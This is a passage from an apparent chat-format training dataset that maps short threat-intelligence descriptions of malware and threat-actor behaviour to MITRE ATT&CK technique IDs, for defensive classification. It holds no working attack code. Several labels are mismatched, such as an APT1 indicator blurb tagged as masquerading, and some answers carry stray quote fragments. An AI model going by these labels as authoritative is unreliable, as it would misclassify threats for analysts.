            {
                "role": "user",
                "content": "PLAINTEE gains persistence by adding the Registry key \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\"."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "configures itself as a service."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TrickBot can identify the user and groups the user belongs to on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Higaisa used a function to gather the current time."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobian RAT obfuscates communications with the C2 server using Base64 encoding."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Drovorub can exfiltrate files over C2 infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BoomBox can upload data to dedicated per-victim folders in Dropbox."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A version of KONNI searches for filenames created with a previous version of the malware, suggesting different versions targeted the same victims and the versions may work together."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "used spearphishing with PDF attachments containing malicious links that redirected to credential harvesting websites."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "At line 40, that data is piped through the base64 utility for decoding, dropped in a subfolder in the /tmp directory, given executable permissions via chmod, and then launched as the 2nd stage payload"
            },
            {
                "role": "assistant",
                "content": "T1222.002 - File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is capable of using HTTP, HTTPS, SMTP, and DNS for C2."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QuasarRAT can determine the country a victim host is located in."
            },
            {
                "role": "assistant",
                "content": "T1614 - System Location Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The LNK file is moved to the startup directory"
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN7 lured victims to double-click on images in the attachments they sent which would then execute the hidden LNK file."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hildegard has deleted scripts after execution."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "dir c:\\"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Freenki is used to gather information about the infected system and to download a subsequent stage payload"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Metamorfo has used HTTP for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Disttrack uses the internal domain names and credentials to log into remote systems on the same network segment"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has a plugin that can perform ARP scanning as well as port scanning."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Notably, one of the tools used in the attack exploited the CVE 2021 21551 vulnerability in a Dell driver in what was the first recorded abuse of this security flaw."
            },
            {
                "role": "assistant",
                "content": "T1211 - Exploitation for Defense Evasion', 'T1190 - Exploit Public-Facing Application', 'T1588.006 - Vulnerabilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Once the second DLL is executed, it gathers information about the victim system’s setup, such as operating system version, and driver and processor information"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bankshot decodes embedded XOR strings."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT32 used the \"net view\" command to show all shares available, including the administrative shares such as \"C$\" and \"ADMIN$\"."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BITTER has encrypted their C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BackdoorDiplomacy has dropped implants in folders named for legitimate software."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mosquito uses the \"ipconfig\" command."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ANCHOR backdoor has been seen across a subset of intrusions associated with this activity and can often be identified via the scheduled tasks it uses to maintain persistence through reboot. The scheduled tasks created by ANCHOR are often unnamed, although that is not always the case"
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DnsSystem can download files to compromised systems after receiving a command with the string `downloaddd`."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This DLL serves three main functions: killing antimalware, unpacking and executing the main RAT DLL, and obtaining persistence"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During a file analysis of PLAINTEE in WildFire, we observed the attackers download and execute a plugin during the runtime for that sample"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QAKBOT has gained execution through users opening malicious attachments"
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kazuar can accept multiple URLs for C2 servers."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Proxysvc appears to be a downloader whose primary capability is to deliver additional payloads to the endpoint without divulging the control address of the attackers. This implant is a service DLL that can also run as a standalone process"
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gelsemium has named malicious binaries `serv.exe`, `winprint.dll`, and `chrome_elf.dll` and has set its persistence in the Registry with the key value \"Chrome Update\" to appear legitimate."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WannaCry scans its local network segment for remote systems to try to exploit and copy itself to."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Assuming the lists of credentials are valid, the mass collection confirms our hypothesis that the OilRig group maintains a heavy emphasis on credential based attacks along with the other types of attacks they deploy"
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GuLoader has the ability to inject shellcode into a donor processes that is started in a suspended state. GuLoader has previously used RegAsm as a donor process."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "injects itself into various processes depending on whether it is low integrity or high integrity."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bankshot deletes all artifacts associated with the malware from the infected machine."
            },
            {
                "role": "assistant",
                "content": "T1070 - Indicator Removal on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "searches for files named logins.json to parse for credentials and also looks for credentials stored from browsers."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "(Source: SecureWorks) Reentry attempt After BRONZE UNION was evicted from a compromised environment, which involved blocking the group's known infrastructure, CTU researchers observed the group attempting to reconnect to its OWA web shells and a backup web shell it had deployed during the intrusion"
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collected complete contents of the 'Pictures' folder from compromised Windows systems."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Patchwork dumped the login data database from \"\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data\"."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BADNEWS is sometimes signed with an invalid Authenticode certificate in an apparent effort to make it look more legitimate."
            },
            {
                "role": "assistant",
                "content": "T1036.001 - Invalid Code Signature"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Crimson can exfiltrate stolen information over its C2."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TinyTurla can go through a list of C2 server IPs and will try to register with each until one responds."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Machete created their own directories to drop files into."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Finally, it creates and runs a shell script at /tmp/.server.sh, which also establishes a reverse shell"
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell', 'T1059.004 - Command and Scripting Interpreter: Bash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During execution,  malware deobfuscates and decompresses code that was encoded with Metasploit’s shikata_ga_nai encoder as well as compressed with LZNT1 compression."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN7 has attempted to run Darkside ransomware with the filename sleep.exe."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "StreamEx uses rundll32 to call an exported function."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PowerLess can encrypt browser database files prior to exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Conclusion The DarkHydrus group carried out an attack campaign on at least one government agency in the Middle East using malicious .iqy files. The .iqy files take advantage of Excel's willingness to download and include the contents from a remote server in a spreadsheet. DarkHydrus leveraged this obscure file format to run a command to ultimately install a PowerShell scripts to gain backdoor access to the system. The PowerShell backdoor delivered in this current attack may have been custom developed by the threat group, however, it is possible that DarkHydrus pieced together this tool by using code from legitimate open source tools"
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Machete's collected data is exfiltrated over the same channel used for C2."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kazuar adds a sub-key under several Registry run keys."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Digital delivery of over 3,000 APT1 indicators, such as domain names, and MD5 hashes of malware. Thirteen (13) X.509 encryption certificates used by APT1. A set of APT1 Indicators of Compromise (IOCs) and detailed descriptions of over 40 malware families in APT1's arsenal of digital weapons. IOCs that can be used in conjunction with Redline™, Mandiant's free host-based investigative tool, or with Mandiant Intelligent Response® (MIR), Mandiant's commercial enterprise investigative tool"
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lizar can support encrypted communications between the client and server."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses a batch file to load a DLL into the svchost.exe process."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "used command line for execution."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Wizard Spider has used file deletion to remove some modules and configurations from an infected host after use."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The macro saves the chkSrv.vbs script to the system, which is responsible for running the IntelSecurityAssistManager.exe payload (OopsIE Trojan) and cleaning up the installation by deleting the two scheduled tasks, the Base.txt file, the ThreeDollars document, and the chkSrv.vbs script"
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task', 'T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Volgmer queries the system to identify existing services."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Emotet has been observed adding the downloaded payload to the \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\" key to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT41 used WMI in several ways, including for execution of commands via WMIEXEC as well as for persistence via PowerSploit."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After the last screenshot was created, it uploads all files from the \"store\" folder to the C2 server \"win-restore[.]ru\". Then, it deletes all the files present in the folder and starts a new screenshot creation cycle. It should be noted that there is no check of what files are uploaded. The files are uploaded via POST HTTP method to the script \"vvd.php\". For this, the following HTTP request is used which contains also data from the victim as well the JPEG files"
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The script queries WMI to list all the explorer.exe processes, where it will try to inject the malicious payload. For the injection, the attackers used Mavinject (a legitimate Windows component that can be used and abused) to perform arbitrary code injections inside any running process. Mavinject.exe has been abused for several years, as indicated in this blog from 2017."
            },
            {
                "role": "assistant",
                "content": "T1218.013 - Mavinject"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "searches recursively for Outlook personal storage tables (PST) files within user directories and sends them back to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "keylogger) may be missing for these platforms"
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "C:\\Windows\\System32\\sethc.exe"
            },
            {
                "role": "assistant",
                "content": "T1546.008 - Event Triggered Execution: Accessibility Features"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can use WMI to execute commands."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "While the seller specifies that HawkEye Reborn should only be used on systems with permission, they also explicitly forbid scanning of HawkEye Reborn executables using antivirus software, likely an attempt to minimize the likelihood that anti-malware solutions will detect HawkEye Reborn binaries.Following these changes, the new developer of HawkEye Reborn has continued to make changes and we expect this to continue as long as the developer can monetize their efforts.As with other malware that we wrote about last year, while the developer claims that the software should only be used on systems with permission, or \"for educational purposes,\" malicious attackers have been continuously leveraging it against various targets around the world.Distribution campaignsFor several months during the last half of 2018 and continuing into 2019, Cisco Talos has observed ongoing malicious email campaigns that are being used to distribute versions of the HawkEye Reborn keylogger/stealer"
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery', 'T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "UBoatRAT can upload and download files to the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BackdoorDiplomacy has copied files of interest to the main drive's recycle bin."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
